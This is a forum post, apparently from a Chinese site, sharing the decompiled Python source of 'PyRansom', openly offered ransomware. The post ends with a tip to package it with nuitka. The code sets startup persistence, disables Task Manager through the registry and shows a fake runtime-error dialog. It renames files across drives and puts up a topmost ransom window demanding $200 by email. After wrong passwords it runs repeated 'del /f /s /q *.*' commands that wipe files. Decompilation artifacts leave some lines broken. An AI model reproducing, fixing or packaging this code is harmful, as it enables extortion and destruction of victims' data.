本帖最后由 popk 于 2023-1-18 12:36 编辑
- # Source Generated with Decompyle++
- # File: Pyransom.pyc (Python 3.10)
- import os
- import sys
- import base64
- import random
- import tkinter as tk
- import getpass
- import time
- from tkinter import messagebox as me
- user = getpass.getuser()
- change = 5
- try:
- copy = open(f'''C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PyRansom.bat''', 'w')
- copy.write('[url=home.php?mod=space&uid=331734]@echo[/url] off\r\nstart' + sys.executable)
- copy.close()
- finally:
- pass
- def jing():
-
- try:
- filess = open(f'''C:/Users/{user}/Documents/tkmgr.reg''', 'w')
- filess.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]\r\n"DisableTaskMgr"=dword:02')
- filess.close()
- os.popen(f'''start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg''')
- finally:
- return None
- return None
- def huan():
-
- try:
- filed = open(f'''C:/Users/{user}/Documents/tkmgr.reg''', 'w')
- filed.write('Windows Registry Editor Version 5.00\r\n[HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System]\r\n"DisableTaskMgr"=dword:00')
- filed.close()
- os.popen(f'''start /B regedit /S C:/Users/{user}/Documents/tkmgr.reg''')
- finally:
- return None
- return None
- jing()
- me.showerror('Microsoft Visual C++ Runtime Error', 'Runtime error!')
- mulu = [
- 'C:/',
- 'D:/',
- 'E:/',
- 'F:/',
- 'G:/',
- 'H:/',
- f'''C:/Users/{user}/''']
- def lib(mulu):
-
- def path(path = None):
-
- try:
- for file in os.listdir(mulu + path + '/.'):
- if '.' in os.path.splitext(file)[1]:
-
- try:
- os.rename(mulu + path + '/' + file, mulu + path + '/' + file + '.pyransom')
- finally:
- continue
- continue
- continue
- return None
- return None
-
- try:
- for file in os.listdir(mulu + '.'):
-
- try:
- if '.' in os.path.splitext(file)[1]:
-
- try:
- os.rename(mulu + path + '/' + file, mulu + path + '/' + file + '.pyransom')
- finally:
- pass
- path(file)
- continue
- continue
- return None
- return None
- for i in mulu:
- lib(i)
- for hhhh in range(1, 20):
-
- try:
- oooo = open(f'''C:/Users/{user}/desktop/{hhhh}.txt.pyransom''', 'w')
- oooo.write('Pay Now!!!')
- oooo.close()
- finally:
- continue
- continue
-
- def close():
- print('hello!')
- temp = open('icon.gif', 'wb+')
- tempb64 = base64.b64decode('R0lGODlhQABAAPAAAAAAAAAAACH5BAEAAAAAIf8LSW1hZ2VNYWdpY2sOZ2FtbWE9MC40NTQ1NDUAIf8LWE1QIERhdGFYTVA8P3hwYWNrZXQgYmVnaW49J++7vycgaWQ9J1c1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCc/Pgo8eDp4bXBtZXRhIHhtbG5zOng9J2Fkb2JlOm5zOm1ldGEvJyB4OnhtcHRrPSdJbWFnZTo6RXhpZlRvb2wgMTIuNDAnPgo8cmRmOlJERiB4bWxuczpyZGY9J2h0dHA6Ly93d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMnPgoKIDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PScnCiAgeG1sbnM6dGlmZj0naHR0cDovL25zLmFkb2JlLmNvbS90aWZmLzEuMC8nPgogIDx0aWZmOk9yaWVudGF0aW9uPjE8L3RpZmY6T3JpZW50YXRpb24+CiA8L3JkZjpEZXNjcmlwdGlvbj4KPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKPD94cGFja2V0IGVuZD0ndyc/PgH//v38+/r5+Pf29fTz8vHw7+7t7Ovq6ejn5uXk4+Lh4N/e3dzb2tnY19bV1NPS0dDPzs3My8rJyMfGxcTDwsHAv769vLu6ubi3trW0s7KxsK+urayrqqmop6alpKOioaCfnp2cm5qZmJeWlZSTkpGQj46NjIuKiYiHhoWEg4KBgH9+fXx7enl4d3Z1dHNycXBvbm1sa2ppaGdmZWRjYmFgX15dXFtaWVhXVlVUU1JRUE9OTUxLSklIR0ZFRENCQUA/Pj08Ozo5ODc2NTQzMjEwLy4tLCsqKSgnJiUkIyIhIB8eHRwbGhkYFxYVFBMSERAPDg0MCwoJCAcGBQQDAgEAACwAAAAAQABAAAAC6YSPqavhD5mctBqIs9085a914gSW0Ygi5uqkKQu7IkzLW13blCnxeg+ylH6M4O1DbBiFyKSqyVk6pcyQEwDtZInUI+aK3Xq/U3GVnOyeT2lzRS2D79wuOYkOzuv3NpqfrfMnaDc3aGgVdaiINraoqOUYGZAouUhZeXiJOai5+dfpmbMWKvpGKgjq9/TY+KlkmMoCxNla6gFbG1OEO2q7iporu0vbq/tKbMr7C1xsaxlsfMHaHB2WCS188EydLX3NvXL7naxsXX437Rh7SrjMHo79DlgoDw9ePxmPD4nfftz/4AXAgHUGIigAADs=')
- temp.write(tempb64)
- temp.close()
- ID = random.randint(100000, 1000000)
- password = str((ID + 3) * 2)
- print('Password:' + password + ' ID:' + str(ID))
- root = tk.Tk()
-
- def get():
- global change
- if change != 0:
- if entry.get() == password:
- os.system('ren *.pyransom *.')
- os.remove(f'''C:/Users/{user}/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/PyRansom.bat''')
- huan()
- time.sleep(4)
- root.destroy()
- return None
- change = None - 1
- return None
- None.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*.pyransom')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- os.system('del /f /s /q *.*')
- print('error!')
- root.config('red', **('background',))
- photo = tk.PhotoImage('icon.gif', **('file',))
- icon = tk.Label(root, photo, **('image',))
- icon.pack()
- os.remove('icon.gif')
- width = 900
- height = 500
- screenwidth = root.winfo_screenwidth()
- screenheight = root.winfo_screenheight()
- alignstr = '%dx%d+%d+%d' % (width, height, (screenwidth - width) / 2, (screenheight - height) / 2)
- root.geometry(alignstr)
- root.resizable(False, False, **('width', 'height'))
- root.wm_attributes('-topmost', 1)
- first = tk.Label(root, 'All your file have been encrypt!', 'red', **('text', 'bg'))
- first.config(('Arial', 20), **('font',))
- first.pack()
- a = tk.Label(root, 'All your files have been encrypted due to a security problem with your PC. If you want to restore them, ', 'red', **('text', 'bg'))
- a.config(('Arial', 15), **('font',))
- a.pack()
- c = tk.Label(root, 'write us to the e-mail:pythonhavenoname@163.com', 'red', **('text', 'bg'))
- c.config(('Arial', 15), **('font',))
- c.pack()
- b = tk.Label(root, 'Write This ID in the title of your message:' + str(ID), 'red', **('text', 'bg'))
- b.config(('Arial', 15), **('font',))
- b.pack()
- d = tk.Label(root, 'You should pay 200$ to us.', 'red', **('text', 'bg'))
- d.config(('Arial', 15), **('font',))
- d.pack()
- e = tk.Label(root, 'If you pay,we will send you decrypt password.', 'red', **('text', 'bg'))
- e.config(('Arial', 15), **('font',))
- e.pack()
- f = tk.Label(root, 'you only have ' + str(change) + ' change.', 'red', **('text', 'bg'))
- f.config(('Arial', 15), **('font',))
- f.pack()
- info = tk.Label(root, 'Password:', 'red', **('text', 'bg'))
- info.config(('Arial', 15), **('font',))
- info.pack()
- entry = tk.Entry(root, 100, **('width',))
- entry.pack()
- ok = tk.Button(root, 'Decrypt', get, **('text', 'command'))
- ok.pack('bottom', **('side',))
- root.protocol('WM_DELETE_WINDOW', close)
- root.overrideredirect(True)
- root.mainloop()
- return None
- #可以尝试用nuitka打包
复制代码 |